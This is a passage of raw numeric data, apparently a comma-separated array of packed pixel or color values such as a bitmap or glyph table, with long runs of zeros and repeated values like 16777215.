,16777215,16777142,6699520,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16777142,6684672,0,0,0,0,0,6731519,16777215,14389306,14992,14417919,16767888,3801088,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,14950,11983871,16777215,16777215,16777215,14408667,14408667,16777215,16777179,9452032,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14399078,0,0,0,3838171,16777215,16758374,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731483,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777179,14408703,16777215,16777215,16767926,6684672,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,102,11993087,16777215,16777215,16777215,16777215,16758374,0,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767963,14408703,16777215,16767888,9484031,16777215,16777215,14399120,6721755,16777215,16777215,16767963,16777215,16767888,3827382,16777215,16777215,16777215,16777215,14389306,0,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,26294,14417919,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,58,9493503,16777215,16777215,16767963,14408703,16777215,16777215,16767888,3801088,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,3827344,11964518,3801088,0,0,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,102,11993087,16777215,16777215,16777215,16777215,16767926,11983871,16777215,16777215,14399120,3801088,0,0,0,6731519,16777215,16777215,16777215,14389306,0,0,0,0,26294,16777215,16767926,11983871,16777215,14408667,16777215,16777215,16777215,11953664,0,0,0,0,0,6731519,16777215,16777215,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,9452032,0,14992,14417919,16758374,0,0,0,0,14950,9483995,14408703,16777215,16777215,16777215,16767963,14399078,3815936,0,0,0,0,0,0,0,0,14950,11983871,16777215,16777179,14389350,0,0,58,6721718,14417919,16777215,16777215,16767963,11953722,3801088,6731483,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,16777215,14389350,3801088,0,0,0,0,0,0,0,3827344,14417919,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,0,0,0,14992,11983871,16777215,16777215,16767963,11953722,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16767888,3801088,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,3827344,14408667,16777215,16777215,16777215,16777215,14408630,9463354,0,0,0,0,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,26294,16777215,16777142,6684672,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777179,14399120,6699520,0,0,0,0,3838171,16777215,14408667,11964560,6699520,0,0,0,0,0,0,0,0,0,102,11983871,16777179,9463296,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,26294,14417919,16767888,3801088,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777179,14399078,3801088,0,0,0,0,58,3827382,14408667,16777215,16777215,16777215,16767963,14399120,6699520,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699578,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,14906,6731483,14408703,16777215,16777215,16777215,14408667,11974288,3801088,0,3838171,16777215,14389306,0,0,0,0,26294,16777215,16767888,3801088,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,0,58,6731483,14417919,16777215,16777215,16767963,11953722,0,0,0,0,3838171,16777215,16758374,0,0,0,0,58,9493503,16777215,16758374,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,6731519,16777215,11953664,0,0,0,0,102,11993087,16777142,6684672,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,3838171,16777215,14389306,0,0,0,0,102,11993087,16777215,14389306,0,14950,9483995,14408703,16777215,16777215,16777215,16767963,14399078,3815936,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,14992,14417919,16777215,16777142,6684672,58,9493503,16777215,16777215,14389306,0,102,11993087,16777215,11953664,0,0,0,0,102,11993087,16777215,11953664,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,3838171,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,0,0,0,0,0,14992,14417919,16777142,6684672,0,0,0,0,0,0,0,6731519,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,26294,14417919,16777215,16777215,16777215,16767963,11964518,3815936,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777215,16777179,14399078,0,0,0,14950,9483995,16777215,16777215,16767926,9452032,3838171,16777215,14389306,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,58,9493503,16777215,11953664,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16767926,9452032,6731519,16777215,14389306,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,0,0,0,0,102,11993087,16777179,9452032,0,0,0,26294,16777215,16767888,3801088,0,0,0,26294,16777215,16777215,11953664,0,0,0,0,0,3827382,14417919,16777215,16777215,16777179,14408592,3801088,58,9493503,16777215,11953664,58,9493503,16777142,6684672,102,11993087,16777179,9452032,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,26294,16777215,16767888,3801190,9493467,16777215,16777215,16767926,9463354,0,0,0,0,58,9483995,16777215,16777215,16777179,11953722,6731519,16777215,14389306,0,14992,14417919,16777215,16777215,16777215,16777215,16777215,16777142,6684672,0,0,0,0,26294,14408703,16777215,16777215,16777215,16777215,16767963,14399120,6699520,0,0,0,0,0,0,58,6731483,14417919,16777215,16777215,16777215,16767888,3801088,0,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,0,0,3838171,16777215,16777215,16767888,3801088,0,0,0,0,14992,14417919,16777215,16767888,3801088,0,6731519,16777215,16777179,9452032,0,0,3838171,16777215,16767888,3801088,0,0,0,6731519,16777215,16767888,3801088,0,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,14992,14417919,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,58,6721718,14408703,16777215,16777215,16777215,16777179,14399078,0,0,6731519,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777215,14389306,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777215,16777215,16767926,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,14950,9483995,16777215,16777215,16777215,16777215,16767926,9463354,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777215,14389306,6731483,16777215,16777179,9452032,6731519,16777215,16777215,16767888,3801088,0,0,0,6731519,16777215,11953664,58,6721718,11974288,6699520,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,0,0,0,0,0,6731519,16777215,16777215,16777215,16777215,16758374,0,0,0,0,0,0,0,0,58,9493503,16758374,0,0,102,11993087,16777215,11953664,0,0,0,0,0,0,0,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,26294,16777215,16758374,0,0,0,0,0,0,3838171,16777215,16758374,3838171,16777215,14389306,0,0,102,11993087,16777215,16777215,16777215,16777215,11953664,0,0,0,58,3827382,14408667,16777215,16777215,16777215,16767963,14399120,6699520,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,14389306,0,0,3838171,16777215,16777215,16777215,16777215,16777179,14399120,6699578,0,0,0,0,3838171,16777215,16758374,0,0,0,14992,14417919,16777215,16767888,3801088,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,58,9493503,16777142,6710966,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,3827382,14408703,16777215,16777215,16777179,14399078,3801088,0,0,0,0,0,0,58,9493503,16777179,9452032,0,0,0,0,0,26294,16777215,16767888,3801088,0,0,0,0,0,0,0,0,0,6731519,16777215,14389306,14992,11983871,16777215,16777215,16777179,14389350,3801088,0,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,58,6731483,14417919,16777215,16777215,14399120,3801088,6731519,16777215,16777215,16767888,3801088,6731483,16777215,16777215,16767926,6684672,0,14992,11983871,16777215,16777215,14389306,0,0,0,58,6721718,14408703,16777215,16777215,16777215,16777179,14399078,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,0,0,14950,9483995,14417919,16777215,16777215,16777215,16767963,9452032,0,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,26294,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,11953664,0,0,58,6721718,14417919,16777215,16777215,16767963,11964518,3801088,0,0,0,26294,16777215,16767888,3801088,0,0,0,6731519,16777215,14389306,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,3827344,11983871,16777215,16777215,16777179,11964518,3801088,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,3838171,16777179,14408703,16777215,16777215,16777179,11964518,3801088,0,0,0,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,14950,9493467,16777215,16777215,14399120,3801146,9493503,16777215,16777215,16767888,3801088,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,26294,16777215,16767888,3801190,9493467,16777215,16777215,16767926,9463354,0,0,0,0,0,0,26294,16777215,16777215,16777179,9452032,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,